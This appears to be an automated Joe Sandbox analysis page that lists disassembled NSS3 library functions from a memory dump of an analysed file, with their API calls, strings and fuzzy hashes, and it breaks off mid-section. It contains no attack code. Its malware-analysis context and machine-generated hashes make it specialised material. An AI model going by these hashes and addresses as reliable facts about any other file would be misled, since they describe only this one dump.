Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Destroy$Cond$LockUnlockValuefree$CriticalErrorSection$EnterLeave
String ID:
API String ID: 8544004-0
Opcode ID: ed11b9226d1d30accd3a1dd7a9c728e03872aa857092df75e6b5c68fbc51ce41
Instruction ID: 8854b7119ef934e70053902167db1ac64fdd1449f174320f42b72f5211588b19
Opcode Fuzzy Hash: ed11b9226d1d30accd3a1dd7a9c728e03872aa857092df75e6b5c68fbc51ce41
Instruction Fuzzy Hash: 4D318DB5E10901ABD7029F64ED42A55BB71FF01318B288238E80913F61E732F978DBD6

Function 6CD9DC60 Relevance: 21.3, APIs: 9, Strings: 3, Instructions: 282COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,?,?), ref: 6CD9DD56
memcpy.VCRUNTIME140(0000FFFE,?,?), ref: 6CD9DD7C
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(00000000), ref: 6CD9DE67
memcpy.VCRUNTIME140(0000FFFC,?,?), ref: 6CD9DEC4
_byteswap_ulong.API-MS-WIN-CRT-UTILITY-L1-1-0(?), ref: 6CD9DECD

Strings

%s at line %d of [%.10s], xrefs: 6CD9DF7C, 6CD9DFEC
database corruption, xrefs: 6CD9DF77, 6CD9DFE7
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6CD9DF6D, 6CD9DFCC, 6CD9DFDD

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: memcpy$_byteswap_ulong
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 2339628231-598938438
Opcode ID: a8048c9473bb5d9e0e0393a5f317dff218e9daee87e47f42d0845f7a5a72b92f
Instruction ID: 09512f7d9ac976b9cb1ce1b5189916f27ecfeade0a3e6c450b9a0643c47c2bb7
Opcode Fuzzy Hash: a8048c9473bb5d9e0e0393a5f317dff218e9daee87e47f42d0845f7a5a72b92f
Instruction Fuzzy Hash: A7A1E475A04741DFC710DF29C881A6AB7F5EF85308F15892DF88A8BB61E731E845CBA1

Function 6CE5EDD0 Relevance: 21.2, APIs: 14, Instructions: 239memoryCOMMON

Download Yara Rule

APIs

PORT_Alloc_Util.NSS3(?), ref: 6CE5EE0B

Part of subcall function 6CE70BE0: malloc.MOZGLUE(6CE68D2D,?,00000000,?), ref: 6CE70BF8
Part of subcall function 6CE70BE0: TlsGetValue.KERNEL32(6CE68D2D,?,00000000,?), ref: 6CE70C15

PR_SetError.NSS3(FFFFE013,00000000), ref: 6CE5EEE1

Part of subcall function 6CE51D50: TlsGetValue.KERNEL32(00000000,-00000018), ref: 6CE51D7E
Part of subcall function 6CE51D50: EnterCriticalSection.KERNEL32(?), ref: 6CE51D8E
Part of subcall function 6CE51D50: PR_Unlock.NSS3(?), ref: 6CE51DD3

TlsGetValue.KERNEL32 ref: 6CE5EE51
EnterCriticalSection.KERNEL32(?), ref: 6CE5EE65
PR_Unlock.NSS3(?), ref: 6CE5EEA2
free.MOZGLUE(?), ref: 6CE5EEBB
PR_SetError.NSS3(00000000,00000000), ref: 6CE5EED0
PR_Unlock.NSS3(?), ref: 6CE5EF48
free.MOZGLUE(?), ref: 6CE5EF68
PR_SetError.NSS3(00000000,00000000), ref: 6CE5EF7D
PK11_DoesMechanism.NSS3(?,?), ref: 6CE5EFA4
free.MOZGLUE(?), ref: 6CE5EFDA
PR_SetError.NSS3(FFFFE040,00000000), ref: 6CE5F055
free.MOZGLUE(?), ref: 6CE5F060

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Errorfree$UnlockValue$CriticalEnterSection$Alloc_DoesK11_MechanismUtilmalloc
String ID:
API String ID: 2524771861-0
Opcode ID: 346d812340547148af27f610e8822a961bf5ca8e2b1c984ead6b26f801a433e9
Instruction ID: 7d75f86d171788d07f6acc74f5ecc7fc688718eeb56e20763b7b3b5c3aac9fbb
Opcode Fuzzy Hash: 346d812340547148af27f610e8822a961bf5ca8e2b1c984ead6b26f801a433e9
Instruction Fuzzy Hash: 93818271E10605ABDF00DFA5DC45BEE7BB5BF09318F640028E919A3711EB36E924CBA1

Function 6CE24CF0 Relevance: 21.2, APIs: 14, Instructions: 237memoryCOMMON

Download Yara Rule

APIs

PK11_SignatureLen.NSS3(?), ref: 6CE24D80
PORT_Alloc_Util.NSS3(00000000), ref: 6CE24D95
PORT_NewArena_Util.NSS3(00000800), ref: 6CE24DF2
PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE24E2C
PR_SetError.NSS3(FFFFE028,00000000), ref: 6CE24E43
PORT_NewArena_Util.NSS3(00000800), ref: 6CE24E58
SGN_CreateDigestInfo_Util.NSS3(00000001,?,?), ref: 6CE24E85
DER_Encode_Util.NSS3(?,?,6CF705A4,00000000), ref: 6CE24EA7
PK11_SignWithMechanism.NSS3(?,-00000001,00000000,?,?), ref: 6CE24F17
DSAU_EncodeDerSigWithLen.NSS3(?,?,?), ref: 6CE24F45
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE24F62
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE24F7A
PORT_FreeArena_Util.NSS3(00000000,00000000), ref: 6CE24F89
SECITEM_ZfreeItem_Util.NSS3(?,00000000), ref: 6CE24FC8

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Arena_$ErrorFreeItem_K11_WithZfree$Alloc_CreateDigestEncodeEncode_Info_MechanismSignSignature
String ID:
API String ID: 2843999940-0
Opcode ID: 4c982dce8ffaf5bdd2c827487a01142e08098a484488be4db32e49adb90acd97
Instruction ID: c5abc80f4f1c1221f8c268c3c5baee11f7355fff94591bd722aade9c72eab89f
Opcode Fuzzy Hash: 4c982dce8ffaf5bdd2c827487a01142e08098a484488be4db32e49adb90acd97
Instruction Fuzzy Hash: E081AFB1908301AFE711CF24D841B5AB7F4AB8535CF24852EF958DB740E775E905CB92

Function 6CE65C10 Relevance: 21.2, APIs: 10, Strings: 2, Instructions: 221COMMON

Download Yara Rule

APIs

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?), ref: 6CE65C9B
PR_SetError.NSS3(FFFFE043,00000000,?,?,?,?,?), ref: 6CE65CF4
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?), ref: 6CE65CFD
PR_smprintf.NSS3(tokens=[0x%x=<%s>],00000004,00000000,?,?,?,?,?,?), ref: 6CE65D42
free.MOZGLUE(00000000,?,?,?,?,?,?,?,?,?), ref: 6CE65D4E
free.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?), ref: 6CE65D78
PR_SetError.NSS3(FFFFE013,00000000,?,?,?,?,?,?,?,?,?,?), ref: 6CE65E18
TlsGetValue.KERNEL32 ref: 6CE65E5E
EnterCriticalSection.KERNEL32(?), ref: 6CE65E72
PR_Unlock.NSS3(?), ref: 6CE65E8B

Part of subcall function 6CE5F820: free.MOZGLUE(6A1B7500,2404110F,?,?), ref: 6CE5F854
Part of subcall function 6CE5F820: free.MOZGLUE(FFD3F9E8,2404110F,?,?), ref: 6CE5F868
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(04C4841B,2404110F,?,?), ref: 6CE5F882
Part of subcall function 6CE5F820: free.MOZGLUE(04C483FF,?,?), ref: 6CE5F889
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(CCCCCCDF,2404110F,?,?), ref: 6CE5F8A4
Part of subcall function 6CE5F820: free.MOZGLUE(CCCCCCC3,?,?), ref: 6CE5F8AB
Part of subcall function 6CE5F820: DeleteCriticalSection.KERNEL32(280F1108,2404110F,?,?), ref: 6CE5F8C9
Part of subcall function 6CE5F820: free.MOZGLUE(280F10EC,?,?), ref: 6CE5F8D0

Strings

tokens=[0x%x=<%s>], xrefs: 6CE65D3D
d, xrefs: 6CE65C36

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$CriticalSection$Delete$DestroyErrorModule$EnterR_smprintfUnlockValue
String ID: d$tokens=[0x%x=<%s>]
API String ID: 2028831712-1373489631
Opcode ID: df2eb666ce73cb68b60a8834e7fc685be9db30a2f8c379cbad151d2e94e6e464
Instruction ID: fbd22a33795adb9921ce188ca2bc4226b54391d7b8dd91b7d4a8224654049a63
Opcode Fuzzy Hash: df2eb666ce73cb68b60a8834e7fc685be9db30a2f8c379cbad151d2e94e6e464
Instruction Fuzzy Hash: 9571E5B0FA62019BEB019F26DC45B6A3775AF4131CF340439E8099AF43EB36E915C792

Function 6CE58F40 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

SECOID_GetAlgorithmTag_Util.NSS3(6CE59582), ref: 6CE58F5B

Part of subcall function 6CE6BE30: SECOID_FindOID_Util.NSS3(6CE2311B,00000000,?,6CE2311B,?), ref: 6CE6BE44

PORT_NewArena_Util.NSS3(00000800), ref: 6CE58F6A

Part of subcall function 6CE70FF0: calloc.MOZGLUE(00000001,00000024,00000000,?,?,6CE187ED,00000800,6CE0EF74,00000000), ref: 6CE71000
Part of subcall function 6CE70FF0: PR_NewLock.NSS3(?,00000800,6CE0EF74,00000000), ref: 6CE71016
Part of subcall function 6CE70FF0: PL_InitArenaPool.NSS3(00000000,security,6CE187ED,00000008,?,00000800,6CE0EF74,00000000), ref: 6CE7102B

SECOID_FindOIDByTag_Util.NSS3(00000000), ref: 6CE58FC3
PK11_GetIVLength.NSS3(-00000001), ref: 6CE58FE0
SEC_ASN1DecodeItem_Util.NSS3(?,?,6CF3D820,6CE59576), ref: 6CE58FF9
DER_GetInteger_Util.NSS3(?), ref: 6CE5901D
PORT_ZAlloc_Util.NSS3(?), ref: 6CE5903E
SECOID_GetAlgorithmTag_Util.NSS3(?), ref: 6CE59062
memcpy.VCRUNTIME140(00000024,?,?), ref: 6CE590A2
PORT_ZAlloc_Util.NSS3(?), ref: 6CE590CA
memcpy.VCRUNTIME140(00000018,?,?), ref: 6CE590F0
PR_SetError.NSS3(FFFFE006,00000000), ref: 6CE5912D
free.MOZGLUE(00000000), ref: 6CE59136
PORT_FreeArena_Util.NSS3(?,00000001), ref: 6CE59145

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Util$Tag_$AlgorithmAlloc_Arena_Findmemcpy$ArenaDecodeErrorFreeInitInteger_Item_K11_LengthLockPoolcallocfree
String ID:
API String ID: 3626836424-0
Opcode ID: 2489710e105f4cda9638de656f27ccb2d42a0301e774d52d1d2af4ac09e9be3a
Instruction ID: ec123de62a6d0d7d84a91619b20af9cf05d38ff8014d268c2304e98bdb36662b
Opcode Fuzzy Hash: 2489710e105f4cda9638de656f27ccb2d42a0301e774d52d1d2af4ac09e9be3a
Instruction Fuzzy Hash: ED51F2B2A142009BE710CF28DC41B9BB7F4AF84318F65452DE958C7741E736E956CBE2

Function 6CE0AF30 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 93COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3 ref: 6CE0AF47

Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90AB
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED90C9
Part of subcall function 6CED9090: EnterCriticalSection.KERNEL32 ref: 6CED90E5
Part of subcall function 6CED9090: TlsGetValue.KERNEL32 ref: 6CED9116
Part of subcall function 6CED9090: LeaveCriticalSection.KERNEL32 ref: 6CED913F

FreeLibrary.KERNEL32(?), ref: 6CE0AF6D
free.MOZGLUE(?), ref: 6CE0AFA4
free.MOZGLUE(?), ref: 6CE0AFAA
PR_ExitMonitor.NSS3 ref: 6CE0AFB5
PR_LogPrint.NSS3(%s decr => %d,?,?), ref: 6CE0AFF5
PR_ExitMonitor.NSS3 ref: 6CE0B005
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE0B014
PR_LogPrint.NSS3(Unloaded library %s,?), ref: 6CE0B028
PR_SetError.NSS3(FFFFE89D,00000000), ref: 6CE0B03C

Strings

Unloaded library %s, xrefs: 6CE0B023
%s decr => %d, xrefs: 6CE0AFF0

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: MonitorValue$CriticalEnterErrorExitPrintSectionfree$FreeLeaveLibrary
String ID: %s decr => %d$Unloaded library %s
API String ID: 4015679603-2877805755
Opcode ID: 2bbea407fec2dfbd103f0db21d632088abcff38804c311dc7937c37fcf1f5a71
Instruction ID: 2a2d5078cd47dca4a85fc993e0df21795128ca802eb7ee286c55bf3221649a79
Opcode Fuzzy Hash: 2bbea407fec2dfbd103f0db21d632088abcff38804c311dc7937c37fcf1f5a71
Instruction Fuzzy Hash: 8031F5B5F54110ABDB01AF64EC51B55B7B5EB0630CB388129E80A97B01E732E839C7F1

Function 6CE56C30 Relevance: 21.1, APIs: 6, Strings: 6, Instructions: 58stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm:,00000004,6CE5781D,00000000,6CE4BE2C,?,6CE56B1D,?,?,?,?,00000000,00000000,6CE5781D), ref: 6CE56C40
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,sql:,00000004,?,?,?,?,?,?,?,00000000,00000000,6CE5781D,?,6CE4BE2C,?), ref: 6CE56C58
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,rdb:,00000004,?,?,?,?,?,?,?,?,?,?,00000000,00000000,6CE5781D), ref: 6CE56C6F
strncmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,extern:,00000007), ref: 6CE56C84
PR_GetEnvSecure.NSS3(NSS_DEFAULT_DB_TYPE), ref: 6CE56C96

Part of subcall function 6CE01240: TlsGetValue.KERNEL32(00000040,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01267
Part of subcall function 6CE01240: EnterCriticalSection.KERNEL32(?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE0127C
Part of subcall function 6CE01240: getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE01291
Part of subcall function 6CE01240: PR_Unlock.NSS3(?,?,?,?,6CE0116C,NSPR_LOG_MODULES), ref: 6CE012A0

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,dbm), ref: 6CE56CAA

Strings

extern:, xrefs: 6CE56C7E
dbm:, xrefs: 6CE56C3A
dbm, xrefs: 6CE56CA4
rdb:, xrefs: 6CE56C69
NSS_DEFAULT_DB_TYPE, xrefs: 6CE56C91
sql:, xrefs: 6CE56C52

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: strncmp$CriticalEnterSectionSecureUnlockValuegetenvstrcmp
String ID: NSS_DEFAULT_DB_TYPE$dbm$dbm:$extern:$rdb:$sql:
API String ID: 4221828374-3736768024
Opcode ID: 2907be15b6d92d8b18339e6046334c3a31731f97c0f4a3b7e855e8d8756671c2
Instruction ID: 3d2d80b33e9950569bfa6a8a2a44b960d3b5102fa698623414ab58adb6ab089c
Opcode Fuzzy Hash: 2907be15b6d92d8b18339e6046334c3a31731f97c0f4a3b7e855e8d8756671c2
Instruction Fuzzy Hash: 1501F7E1B1234127EA40277A3E49F66352C9F5214DFB40032FF14E0B41EA97D93441A5

Function 6CE64E60 Relevance: 19.7, APIs: 13, Instructions: 186COMMON

Download Yara Rule

APIs

PR_SetErrorText.NSS3(00000000,00000000,?,6CE278F8), ref: 6CE64E6D

Part of subcall function 6CE009E0: TlsGetValue.KERNEL32(00000000,?,?,?,6CE006A2,00000000,?), ref: 6CE009F8
Part of subcall function 6CE009E0: malloc.MOZGLUE(0000001F), ref: 6CE00A18
Part of subcall function 6CE009E0: memcpy.VCRUNTIME140(?,?,00000001), ref: 6CE00A33

PR_SetError.NSS3(FFFFE09A,00000000,?,?,?,6CE278F8), ref: 6CE64ED9

Part of subcall function 6CE55920: NSSUTIL_ArgHasFlag.NSS3(flags,printPolicyFeedback,?,?,?,?,?,?,00000000,?,00000000,?,6CE57703,?,00000000,00000000), ref: 6CE55942
Part of subcall function 6CE55920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckIdentifier,?,?,?,?,?,?,?,?,?,00000000,?,00000000,?,6CE57703), ref: 6CE55954
Part of subcall function 6CE55920: NSSUTIL_ArgHasFlag.NSS3(flags,policyCheckValue,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE5596A
Part of subcall function 6CE55920: SECOID_Init.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000000,?), ref: 6CE55984
Part of subcall function 6CE55920: NSSUTIL_ArgGetParamValue.NSS3(disallow,00000000), ref: 6CE55999
Part of subcall function 6CE55920: free.MOZGLUE(00000000), ref: 6CE559BA
Part of subcall function 6CE55920: NSSUTIL_ArgGetParamValue.NSS3(allow,00000000), ref: 6CE559D3
Part of subcall function 6CE55920: free.MOZGLUE(00000000), ref: 6CE559F5
Part of subcall function 6CE55920: NSSUTIL_ArgGetParamValue.NSS3(disable,00000000), ref: 6CE55A0A
Part of subcall function 6CE55920: free.MOZGLUE(00000000), ref: 6CE55A2E
Part of subcall function 6CE55920: NSSUTIL_ArgGetParamValue.NSS3(enable,00000000), ref: 6CE55A43

SECMOD_FindModule.NSS3(?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64EB3

Part of subcall function 6CE64820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE64EB8,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE6484C
Part of subcall function 6CE64820: strcmp.API-MS-WIN-CRT-STRING-L1-1-0(6CE64EB8,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE6486D
Part of subcall function 6CE64820: PR_SetError.NSS3(FFFFE09A,00000000,00000000,-00000001,00000000,?,6CE64EB8,?), ref: 6CE64884

SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64EC0

Part of subcall function 6CE64470: TlsGetValue.KERNEL32(00000000,?,6CE27296,00000000), ref: 6CE64487
Part of subcall function 6CE64470: EnterCriticalSection.KERNEL32(?,?,?,6CE27296,00000000), ref: 6CE644A0
Part of subcall function 6CE64470: PR_Unlock.NSS3(?,?,?,?,6CE27296,00000000), ref: 6CE644BB

TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F16
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F2E
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F40
TlsGetValue.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F6C
EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F80
PR_Unlock.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE64F8F
PK11_UpdateSlotAttribute.NSS3(?,6CF3DCB0,00000000), ref: 6CE64FFE
PK11_UserDisableSlot.NSS3(0000001E), ref: 6CE6501F
SECMOD_DestroyModule.NSS3(00000000,?,?,?,?,?,?,?,?,6CE278F8), ref: 6CE6506B

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: Value$Param$CriticalEnterErrorFlagModuleSectionUnlockfree$DestroyK11_Slotstrcmp$AttributeDisableFindInitTextUpdateUsermallocmemcpy
String ID:
API String ID: 560490210-0
Opcode ID: 41f063d600bcbaf36fc00058b06269c95526c49a2e632acf5034aae874056a44
Instruction ID: 8f2fb781faa22feeb09380a0f7b1edb5055a89a63e55e951711fc52940b53f16
Opcode Fuzzy Hash: 41f063d600bcbaf36fc00058b06269c95526c49a2e632acf5034aae874056a44
Instruction Fuzzy Hash: 6E5106B1E612119BDB11AF26EC01AAA36B4FF0631CF34453AEC4646F12F732D52587D2

Function 6CE0ACC0 Relevance: 19.6, APIs: 13, Instructions: 150stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6CE0ACE2
malloc.MOZGLUE(00000001), ref: 6CE0ACEC
strcpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?), ref: 6CE0AD02
TlsGetValue.KERNEL32 ref: 6CE0AD3C
calloc.MOZGLUE(00000001,?), ref: 6CE0AD8C
PR_Unlock.NSS3 ref: 6CE0ADC0
free.MOZGLUE(00000000), ref: 6CE0AE48
PR_SetError.NSS3(FFFFE890,00000000), ref: 6CE0AE58
free.MOZGLUE(00000000), ref: 6CE0AE69
free.MOZGLUE(?), ref: 6CE0AE78
PR_Unlock.NSS3 ref: 6CE0AE8C
free.MOZGLUE(?), ref: 6CE0AEAB
memcpy.VCRUNTIME140(00000000,?,?), ref: 6CE0AEC7

Memory Dump Source

Source File: 00000000.00000002.1939560095.000000006CD91000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CD90000, based on PE: true

Associated: 00000000.00000002.1939504916.000000006CD90000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939782448.000000006CF2F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939831139.000000006CF6E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939886523.000000006CF6F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939911645.000000006CF70000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1939938523.000000006CF75000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cd90000_file.jbxd

Similarity

API ID: free$Unlock$ErrorValuecallocmallocmemcpystrcpystrlen
String ID:
API String ID: 786543732-0
Opcode ID: 78a34443649ed4bf9e61df56c3ee727fdd889bd0ec6ef8734fb5ffed642172c3
Instruction ID: 8c82c5cf55172ce38885f84c2e9712a6d256be1064eefd5e30fed0cd9530078a
Opcode Fuzzy Hash: 78a34443649ed4bf9e61df56c3ee727fdd889bd0ec6ef8734fb5ffed642172c3
Instruction Fuzzy Hash: 9151E470F601298BDF41EFA8EC417AE7774BB0634DF244125D818A3B01D331A96ACBE2

Function 6CE4ADC0 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 110COMMON

Download Yara Rule

APIs

PR_LogPrint.NSS3(C_MessageSignInit), ref: 6CE4ADE6
PL_strncpyz.NSS3(?, hSession = 0x%x,00000050), ref: 6CE4AE17
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE4AE29

Part of subcall function 6CF2D930: PL_strncpyz.NSS3(?,?,?), ref: 6CF2D963

PR_LogPrint.NSS3(?,00000000), ref: 6CE4AE3F
PL_strncpyz.NSS3(?, hKey = 0x%x,00000050), ref: 6CE4AE78
PL_strcatn.NSS3(?,00000050, (CK_INVALID_HANDLE)), ref: 6CE4AE8A
PR_LogPrint.NSS3(?,00000000), ref: 6CE4AEA0

Strings

